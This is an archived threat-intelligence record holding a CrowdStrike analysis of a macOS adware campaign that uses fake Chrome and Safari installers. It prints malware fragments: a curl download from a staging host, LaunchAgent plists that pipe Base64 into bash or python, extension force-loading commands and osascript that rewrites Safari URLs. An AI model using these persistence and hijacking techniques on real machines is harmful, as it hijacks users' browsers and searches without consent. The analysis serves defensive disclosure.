{
	"id": "3efb6f5b-16c4-41de-8289-58d01ed5d7ee",
	"created_at": "2026-04-06T00:18:06.547368Z",
	"updated_at": "2026-04-10T03:19:58.68309Z",
	"deleted_at": null,
	"sha1_hash": "2d0545bfd8de7faf66c1dd97ae1f5dac0f657320",
	"title": "How CrowdStrike Uncovered a New MacOS Browser Hijacking Campaign",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 754692,
	"plain_text": "How CrowdStrike Uncovered a New MacOS Browser Hijacking\r\nCampaign\r\nBy Mitch Datka\r\nArchived: 2026-04-05 21:03:44 UTC\r\nCrowdStrike analyzed a new browser hijacking campaign that targets MacOS\r\nThe purpose of the campaign is to inject ads into the user’s Chrome or Safari browser\r\nThe CrowdStrike Falcon® platform provides continuous protection against browser hijacking threats by offering\r\nreal-time visibility across workloads\r\nThe CrowdStrike Content Research team recently analyzed a MacOS targeted browser hijacking campaign that\r\nmodifies the user’s browsing experience to deliver ads. Research began with a variant that uses a combination of\r\nknown techniques to deliver, persist and sideload a Chrome extension. Analysis of the fake Chrome installer uncovered\r\nthe use of more than 40 unique dropper files to install the extension. During analysis of the original samples, an\r\nadditional variant was discovered that targets Safari browser usage and employs a combination of AppleScript and\r\nPython to accomplish similar browser hijacking activity. At the time of writing, more than 15 unique dropper files have\r\nbeen found for this particular variant.\r\nTechnical Analysis\r\nFake Chrome Installer\r\nThe Chrome variant sideloads a malicious Chrome extension with the purpose of hijacking browser activity and\r\ndelivering custom ad content.\r\nInstallation\r\nThe initial infection vector uses an Apple Disk Image (DMG) that masquerades as legitimate software and video files.\r\nOnce the DMG file is mounted on the machine and the user is tricked into clicking the application icon, an install script\r\nis executed to initialize the setup process, as shown in Figure 1.\r\nhttps://www.crowdstrike.com/blog/how-crowdstrike-uncovered-a-new-macos-browser-hijacking-campaign/\r\nPage 1 of 8\n\nFigure 1. Example of DMG installation instructions\r\nWhile the DMG file names are masquerading as software and video files, they all share a similarity and result in a\r\nmounted volume with the name Application Installer . The mounted volume prompts the user to execute an\r\napparent Chrome installation application, but this is actually a malicious script file contained in the DMG. Early\r\nvariants of this family used script files named installer.command . Later variants use ChromeInstaller.command\r\nscript files. Upon initialization, the install script hides visible Terminal windows from the user’s view by leveraging\r\nosascript to conceal the installation actions. Then it makes a query for an existing infection by checking the results\r\nof launchctl list | grep \"chrome.extension\" and exits if the command returns any matching launchd jobs. Prior\r\nto downloading the extension, an attempt is made to validate the returned status code from the web server using curl:\r\nstatus_code=$(curl --write-out %{http_code} --head --silent --output /dev/null https\u003c:\u003e//ckgrounda\u003c.\u003ecom/archive.zip\r\nIf the return code is 200, curl is again used to download and write the archive file with the zipped payload written to\r\n/private/var/temp/.zip . The native unzip utility is used to expand the archive into a new folder also named with a\r\nrandom UUID in /private/var/temp/ . Any other return code results in the script exiting.\r\nPersistence\r\nThe Chrome extension is installed and maintained by a number of plist files written to the user directory\r\n~/Library/LaunchAgent/ . To conceal the malicious behavior, the underlying commands in the plist files are\r\nobfuscated with Base64 encoding.\r\n\u003ckey\u003eProgramArguments\u003c/key\u003e\r\n\u003carray\u003e\r\nhttps://www.crowdstrike.com/blog/how-crowdstrike-uncovered-a-new-macos-browser-hijacking-campaign/\r\nPage 2 of 8\n\n\u003cstring\u003esh\u003c/string\u003e\r\n\u003cstring\u003e-c\u003c/string\u003e\r\n\u003cstring\u003eecho aWYgcHMg -\u003c SNIP \u003e- Zmk= | base64 --decode | bash\u003c/string\u003e\r\n\u003c/array\u003e\r\nBelow is a list of each file created, the Base64 decoded file contents and the description.\r\nStartInterval\r\nValues\r\n(seconds)\r\nDecoded Plist Payloads Description\r\ncom.chrome.extension.plist\r\n31\r\nif ps ax | grep -v grep | grep 'Google Chrome' \u0026\u003e /dev/null; then echo\r\nrunning; EXTENSION_SERVICE='Google Chrome --load-extension'; if ps ax |\r\ngrep -v grep | grep 'Google Chrome --load-extension' \u0026\u003e /dev/null; then\r\necho e running; else pkill -a -i 'Google Chrome'; sleep 1 ; open -a\r\n'Google Chrome' --args --load-extension='/private/var/temp/' --restore-last-session --noerrdialogs --disable-session-crashed-bubble; fi; else\r\necho not running; fi\r\nResolve/hide\r\ncrashes\r\ncom.chrome.extensions.plist\r\n21600\r\npkill -a -i 'Google Chrome'; sleep 1 ; open -a 'Google Chrome' --args\r\n--load-extension='/private/var/temp/' --restore-last-session --\r\nnoerrdialogs --disable-session-crashed-bubble;\r\nForce the\r\nextension\r\nload\r\ncom.chrome.extensionsPop.plist\r\n3600\r\nopen -na 'Google Chrome' --args -load-extension='/private/var/temp/' -\r\n-new-window \"$https\u003c:\u003e//ationwindon\u003c.\u003ecom/?tid=949115\"\r\nEnsure ad is\r\nalways open\r\nAs shown above, the naming convention of the plist files attempts to evade general suspicion by masquerading as\r\ncomponents of the Chrome browser. All of the Launch Agents utilize a StartInterval parameter. This means that\r\neach is executed periodically on its defined interval. Note that the com.chrome.extensionsPop.plist appears to have\r\na typo in the “ -load-extension ” parameter; however, the command works as expected and is successful in\r\nsideloading the extension. A notable commonality across the variants analyzed is the check-in domain\r\nationwindon\u003c.\u003ecom .\r\nExtension Initialization\r\nThe extension is sideloaded from disk via any of the plists using the --load-extension parameter. The extension\r\nutilizes a number of alarms and blocking listeners to facilitate its browser hijacking and ad content delivery. The\r\nextension contains a hard-coded command-and-control (C2) domain referred to in this blog as C2Domain , and a unique\r\nidentifying string defined as ExtensionId . These static values are used to reference the C2 domain and extension ID\r\nin the blog; however, each extension analyzed contained its own unique values. The extension contains a system to\r\nprovide time-dependent storage for ad content and dynamic parameters sent from the C2. This is accomplished by\r\nstoring and retrieving JSON objects from Chrome’s localStorage . Key/Value pairs are stored with expiry value.\r\nhttps://www.crowdstrike.com/blog/how-crowdstrike-uncovered-a-new-macos-browser-hijacking-campaign/\r\nPage 3 of 8\n\nRetrieved objects with an expiry value less than the current time are returned as null and removed from\r\nlocalStorage . Upon execution, the extension establishes two Chrome alarms: a heartbeat and an update frequency\r\nfor ad content. The heartbeat alarm fires every three hours while the ad alarm triggers every 30 minutes. After\r\nconfiguring these parameters, the extension beacons to the C2 with a message signifying a successful install. It is sent\r\nusing the following format:\r\nhttps:///install?ext=\u0026ver=\u0026dd=\r\nFollowing the beacon and an initial heartbeat, the extension enumerates all installed extensions running in Chrome\r\nusing a chrome.management.getAll() call. The ExtensionInfo\u003c\u003e response is sent as JSON in a POST message back\r\nto the C2 domain. The POST response contains a list of extensions IDs in a JSON list. These IDs are then used to\r\ndisable extensions using chrome.management.setEnabled() API calls. This is done to remove extensions that conflict\r\nwith the hijacking functionality. As a final install step, the extension modifies a policy in Chrome to disable search\r\nsuggestions by disabling the searchSuggestEnabled field. This also disables keyword search and autocompletion\r\ncapabilities. The first listener monitors web requests destined for the hardcoded C2 domain. Any requests to the domain\r\nare appended with the ExtensionId as a requestHeader . This additional request header serves to identify victims.\r\nResponses from this domain are also monitored for a randomness variable ( rand ) in the requestHeader . This\r\nrandomness variable is stored in localStorage with an expiration time of 300 seconds. The randomness variable is\r\nused to provide inconsistency to the search hijacking functionality. Hijack via a Blocking Listener Next, the extension\r\nestablishes a blocking listener to facilitate the search hijacking. This listener runs on outbound requests to URLs\r\ncontaining “ google. ”, “ search.yahoo ” or “ bing. ”. If the requests contain search parameters, a random float value\r\nis generated between 0 and 100. If the random float is less than the rand variable, then the search request is redirected\r\nto the following URL:\r\nhttps:///search?ext=\u0026ver=\u0026is=\u0026q=\r\nIt can be theorized that the rand variable exists to evade users’ suspicion that their machines are infected. With it set,\r\nonly a portion of a user’s web searches will be redirected.\r\nDefense Evasion\r\nThe extension configures three techniques to evade discovery and deletion. The extension adds a listener for\r\nchrome://extensions , and any requests to that page will be redirected to chrome://settings . The extension\r\nconfigures onClicked actions so that a left or right-click on the extension’s context menu will also open a tab to\r\nchrome://settings . Finally, if the user is able to bypass these barriers, the extension configures an UninstallURL so\r\na tab to the following URL will be opened if the extension is successfully removed:\r\nhttps:///uninstall?ext=\u0026ver=\u0026dd=\r\nCore Functionality\r\nThe core functionality of the extension comes from its two alarms. These alarms run periodically to maintain the C2\r\nheartbeat and update the delivered ad content. Heartbeat Alarm Every three hours, the heartbeat alarm makes a series\r\nof callouts to the C2. First, it makes a GET request to:\r\nhttps://www.crowdstrike.com/blog/how-crowdstrike-uncovered-a-new-macos-browser-hijacking-campaign/\r\nPage 4 of 8\n\nhttps:///hb?ext=\u0026ver=\u0026dd=\r\nThis is followed by a GET request to https:///redsync , and the response of this request is sent in a call to:\r\nhttps:///sync?ext=\u0026ver=\u0026dd=\u0026info=\r\nThe heartbeat and response do not influence the client-side code. The extension does not handle any fail requests or\r\nreturned data. It just serves as a check-in to the C2 and is simply a notification of a live infection. Ad Alarm The ad\r\nalarm runs every 30 minutes. Its objective is to ensure that the ad content is updated and running. To do this, it retrieves\r\nthe ad object from the expiry storage. If it is expired, new ad content is loaded from:\r\nhttps:///ad?ext=\u0026ver=\u0026dd=\r\nThis content is opened in a new tab, and the new tab’s tabId is stored in expiry storage with a 24-hour expiration\r\ndate. If the alarm runs and the ad content is not expired, then it checks to see if the tabId is still open. If it isn't, it\r\nproceeds as if the ad content is expired.\r\nFake Safari Installer\r\nResearch into this family led to the discovery of a variant targeting the Safari browser. This variant shares many\r\nsimilarities to the Chrome variant; however, it is technically less advanced.\r\nInstallation\r\nThe Safari installer variant shares a similar delivery mechanism via DMGs with random names and the Application\r\nInstaller volume name; however, all Safari DMGs have been observed to use script files with the naming convention\r\nSafariInstaller.command . Much like the Chrome variant, the SafariInstaller.command files download their\r\npayload from statically defined staging servers. The response contains two Base64 data blobs that decode into Python\r\ncode. These blobs are inserted directly into two plist files. Unlike the Chrome variant, the plist files pipe the Base64\r\ndecoded data to Python and then bash.\r\n\u003ckey\u003eProgramArguments\u003c/key\u003e\r\n\u003carray\u003e\r\n\u003cstring\u003esh\u003c/string\u003e\r\n\u003cstring\u003e-c\u003c/string\u003e\r\n\u003cstring\u003eecho aW1w -\u003c SNIP \u003e- kKQ== | base64 --decode | python | bash\u003c/string\u003e\r\n\u003c/array\u003e\r\nPersistence and Core Functionality\r\nThe first plist, ~/Library/LaunchAgents/com.safarii.extension.plist , does not use a StartInterval value like\r\nthe Chrome variant, but instead uses RunAtLoad . The RunAtLoad parameter is executed when the user logs into their\r\ncomputer. Note that the plist file does not use the correct spelling of Safari. At the time of writing, the Python payload\r\nruns in an infinite loop and serves two functions:\r\nhttps://www.crowdstrike.com/blog/how-crowdstrike-uncovered-a-new-macos-browser-hijacking-campaign/\r\nPage 5 of 8\n\n1. Sends a periodic heartbeat (approximately every hour)\r\n2. Monitors search engine queries in Safari\r\nThe script ensures that only one copy is running via a call to ps aux . If any process commandline contain base64 –\r\ndecode | python , then the newly executing script exits. The hourly heartbeat calls out to:\r\nhttps:///hb?ext=saf\u0026ver=\u0026is=0\u0026dd=\u0026q=\r\nSimilar to the Chrome extension, the Python script monitors searches to Google, Yahoo and Bing through the use of\r\nAppleScript. Every loop interval (~0.1 seconds), the following osascript process is used to capture the currently\r\nopened Safari URL:\r\nosascript -e 'tell application \"safari\"\r\nset curURL to URL in front document\r\nreturn curURL\r\nend tell’\r\nIf a new search query is found, the Safari window’s URL is overwritten with:\r\nhttps:///search?ext=saf\u0026ver=\u0026is=0\u0026dd=\u0026q=\r\nThis is accomplished by the following osascript process:\r\nosascript -e 'tell application \"safari\"\r\nset URL in front document to \"\"\r\nend tell’\r\nIf the script detects that it does not have the necessary transparency, consent and control (TCC) permissions to launch\r\nosascript or call out to the C2, it will launch a tccutil subprocess to reset all permissions for Apple Events. By\r\nresetting this value, the user will be re-prompted with a security warning. The author is hoping that because of the new\r\nprompt, the user will allow the Apple Events communication. The SafariInstaller.command script writes its second\r\nplist file to ~Library/LaunchAgents/com.extension.pop.plist . This plist serves the same purpose as\r\ncom.chrome.extensionsPop.plist . It uses Python and an os.system call to open a new Safari window to the same\r\nhttps\u003c:\u003e//ationwindon\u003c.\u003ecom domain observed in the Chrome installer variants.\r\nImpact\r\nBoth variants result in an altered user experience. Accomplished through the Chrome extension or AppleScript, both\r\nvariants are highly persistent and perform browser hijacking. They are successful in continually displaying ad content\r\nand redirecting web searches to attacker-controlled redirect pages.\r\nThe Falcon Platform’s Continuous Monitoring and Visibility\r\nThe Falcon platform takes a layered approach to protect workloads. Using on-sensor and cloud-based machine\r\nlearning, behavior-based detection using indicators of attack (IOAs), and intelligence related to tactics, techniques and\r\nhttps://www.crowdstrike.com/blog/how-crowdstrike-uncovered-a-new-macos-browser-hijacking-campaign/\r\nPage 6 of 8\n\nprocedures (TTPs) employed by threats and threat actors, the Falcon platform enables visibility, threat detection and\r\ncontinuous monitoring for any environment, reducing the time to detect and mitigate threats.\r\nFigure 2. Suspicious plist creation (Click to enlarge)\r\nThe Falcon platform’s behavior-based IOAs detect and prevent behaviors that indicate malicious intent. For example,\r\nFalcon detects and prevents behavior such as the installation of suspicious ASEP plist files (see Figure 2) and execution\r\nof sideloaded, suspicious Chrome extensions (see Figure 3).\r\nFigure 3. Previously infected host IOA detection (Click to enlarge)\r\nIndicators of Compromise (IOCs)\r\nThe hashes below are a small subset of the total DMGs and corresponding installer scripts uncovered in the campaign,\r\nto be used as reference samples.\r\nFile SHA256\r\nYour File Is Ready To Download.dmg 46bbb3103bdc2263a0b50eb80815705f61885b3e3e132e5e5c5ff822512085ca\r\nhttps://www.crowdstrike.com/blog/how-crowdstrike-uncovered-a-new-macos-browser-hijacking-campaign/\r\nPage 7 of 8\n\nSafariInstaller.command e31607b87355b4ae3e5f96c6b48ed783e6b706fb1c2ab6a1ff25a13af615bca7\r\nnature_beautiful_short_video_720p_hd\r\n(2).dmg\r\n81ac23cc9dba6bed6e33d172e011ead46254a29483c287f35c670d81bc9785b7\r\nChromeInstaller.command e734ec9832f8385eb737dd024eb96d53d0d3cb534a72afb4730db8e7e6162fcc\r\nBigBrother_AnotherStory-0.07.p2.00-\r\nmac.zip.dmg\r\n53ddfdb4c01ace20322647eead73ddf77e6d9613b73ca90521c2e57063be387b\r\ninstaller.command 83d6ab417c9a362e6292dd8d85032b623889d9154b9d357fd8576f843fbecae9\r\nDomains\r\nationwindon\u003c.\u003ecom\r\nAdditional Resources\r\nLearn more about Falcon Endpoint Security for macOS.\r\nCheck out a video demo for Falcon Endpoint Security for macOS.\r\nTest CrowdStrike next-gen AV for yourself with a free trial of Falcon Prevent™.\r\nSource: https://www.crowdstrike.com/blog/how-crowdstrike-uncovered-a-new-macos-browser-hijacking-campaign/\r\nhttps://www.crowdstrike.com/blog/how-crowdstrike-uncovered-a-new-macos-browser-hijacking-campaign/\r\nPage 8 of 8",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://www.crowdstrike.com/blog/how-crowdstrike-uncovered-a-new-macos-browser-hijacking-campaign/"
	],
	"report_names": [
		"how-crowdstrike-uncovered-a-new-macos-browser-hijacking-campaign"
	],
	"threat_actors": [],
	"ts_created_at": 1775434686,
	"ts_updated_at": 1775791198,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/2d0545bfd8de7faf66c1dd97ae1f5dac0f657320.pdf",
		"text": "https://archive.orkl.eu/2d0545bfd8de7faf66c1dd97ae1f5dac0f657320.txt",
		"img": "https://archive.orkl.eu/2d0545bfd8de7faf66c1dd97ae1f5dac0f657320.jpg"
	}
}